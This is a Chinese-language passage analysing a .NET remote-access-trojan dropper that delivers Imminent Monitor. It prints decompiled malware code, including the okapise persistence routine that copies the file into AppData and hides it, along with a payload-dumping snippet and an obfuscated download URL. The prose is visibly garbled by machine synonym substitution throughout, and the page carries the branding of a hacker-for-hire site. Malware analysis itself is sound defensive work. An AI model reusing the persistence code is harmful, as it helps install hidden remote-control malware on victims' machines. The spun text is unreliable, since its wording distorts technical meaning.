对DOTNET(.NET)中的歹意长途拜访进程进行剖析(下)

访客5年前黑客资讯1296

上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。
之一个if句子在程序会集调用了一个名为okapise的函数,它供给了当前程序的方位、两个称号和一个设置为false的布尔值。据此判别,它或许会履行一个具有给定称号的文件。
第二个if句子会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因而二进制文件或许会在一个进程中自我注入。
第三个if句子会将一个名为mb的函数与四个字符串一同调用,由于在MessageBox(音讯框)中运用了术语body,title,warning和messageonce,mb或许是MessageBox(音讯框)的简写。
第四个if句子调用一个名为d的函数,该函数运用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,依据这个判别,该函数很或许是一个下载文件。 dl内容的一部分是通过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0
第五个if句子会调用一个名为zalepen的函数,该函数运用内容绑定和一个字符串。由于没有可用于检测的内容,因而很难确认这个函数到底是做什么的。别的,该称号也没有供给什么实质性信息。假如字符串中包括单词bind,则意味着歹意软件或许会将自己绑定到某个运转函数上。不过,这仅仅猜想,库中的函数很或许供给有更多的信息。
尽管靠估量和猜想,会得出一些有价值的信息,但必定都不确认。能够必定的是,有必要对这些内容进行检测,不过这些内容在履行之前既没有被写入磁盘,并且还在履行之前现已加密了。为了处理这个问题,能够随时修正代码并中止履行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
 [...]
}
[...]
小结
加载程序——第1阶段相似,对这个阶段做个小结也十分有必要,由于存储在库中的函数在dropper的第二阶段中被调用。尽管参数坐落第二阶段,而代码则在dropper的第三阶段履行:
1.依据运转环境的不同,程序的履行要么中止,要么持续;
2.将设置符号,这些符号稍后将界说在库中所履行的函数;
3.这两个参数都加载到内存中;
4.依据符号的不同,库中的给定办法会运用界说的参数履行;
加载程序——第3阶段(第1部分)
依据dnSpy,程序assemblyPart1.exe开端被命名为svchost.exe(版别0.0.0.0),其进口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件运用了很长且没有意义的字符串进行含糊化处理,具体内容如下所示。
public static void Method0()
{
 AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在阅读文件时,能够看到一个咱们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包括一个歹意运用的音讯,能够在下面找到。
// Imminent-Monitor-Client-Watermark
//
// Types:
//
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在拜访Imminent Method网站时,能够清楚地了解到这种有效载荷的意图便是施行远程管理。在履行这个准备好的二进制文件后,能够在Imminent Method软件的控制面板中拜访受害者的设备,这是RAT的中心功用。
加载程序——第3阶段(第2部分)
用dnSpy翻开assemblyPart2.dll后,能够很明显看到,它是一个动态链接库(原始称号为graznataguz.dll,版别1.1.0.0),其间含有两个类。首要,能够观察到空的内部类模块。此外,还有一个名为RunLib的类,它的称号与第2阶段中挑选的on相同。运用if句子和库中的函数,能够开端依据实践环境匹配所做的假定。
okapise
在之一个if句子中,函数okapise与四个参数一同被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
 Directory.CreateDirectory(Environment.GetFolderPath(26) + "" + value);
 string text = string.Concat(new string[]
 {
  Environment.GetFolderPath(26),
  "",
  value,
  "",
  filename
 });
 string text2 = string.Concat(new string[]
 {
  Environment.GetFolderPath(26),
  "",
  value,
  "",
  RunLib.RndString(5),
  ".xml"
 });
 string name = WindowsIdentity.GetCurrent().Name;
 string text3 = Resources.TE;
 if (!(location == text))
 {
  File.Copy(location, text, true);
 }
 bool flag = (File.GetAttributes(location) & 2) == 2;
 if (hide && !flag)
 {
  File.SetAttributes(text, File.GetAttributes(text) | 2);

[1] [2] [3] [4]  黑客接单网

相关文章

看我怎么发现GitHub提权缝隙取得$10000赏金

之前,我从没参加过GitHub官方的一些缝隙众测项目,在HackerOne建议的HackTheWorld竞赛中,主办方宣扬除了赏金以外,还有时机取得Github供给的终身无约束私有库(unlimit...

Java安全编码之用户输入

1、传统Web使用与新式移动使用 (1)传统Web使用:浏览器 HTTP 服务器(2)新式移动使用:APP HTTP 服务器 从安全视点看,传统Web使用与新式移动使用没有本质区别 2、Web使用安全...

HTML5 安全问题解析

HTML5 安全问题解析 标签: html html5 web安全 本文参阅: w3school:html5相关基础知识(w3school.com.cn)...

代码审计第五节

 代码审计第五讲首要介绍了一些实例发掘缝隙,从而剖析xss缝隙,在实践cms中的影响。本例先从dvwa实践比如开端剖析,因为观看人数水平参差不急,所以从最根底开端讲起。让每一个看文章有所收成。 DVW...

色情广告挂马剖析:记一次挂马与挖矿之间的“密切触摸”

1. 布景: 近来,腾讯安全反病毒实验室发现,有一类木马经过网页广告挂马的方法大规划传达。广告内容为色情链接,诱导用户点击。链接中嵌入了一段触发IE缝隙的JS脚本,假如用户电脑的IE浏览器没有及时打好...

你的PoC和EXP可能得改改了-黑客接单平台

一、前语 在MySQL 5.7.5之前的所有主版别存在一个BUG,该或许导致影响POC/EXP需求从头编写或批改的问题。 BUG信息链接: https://bugs.mysql.com/bug.ph...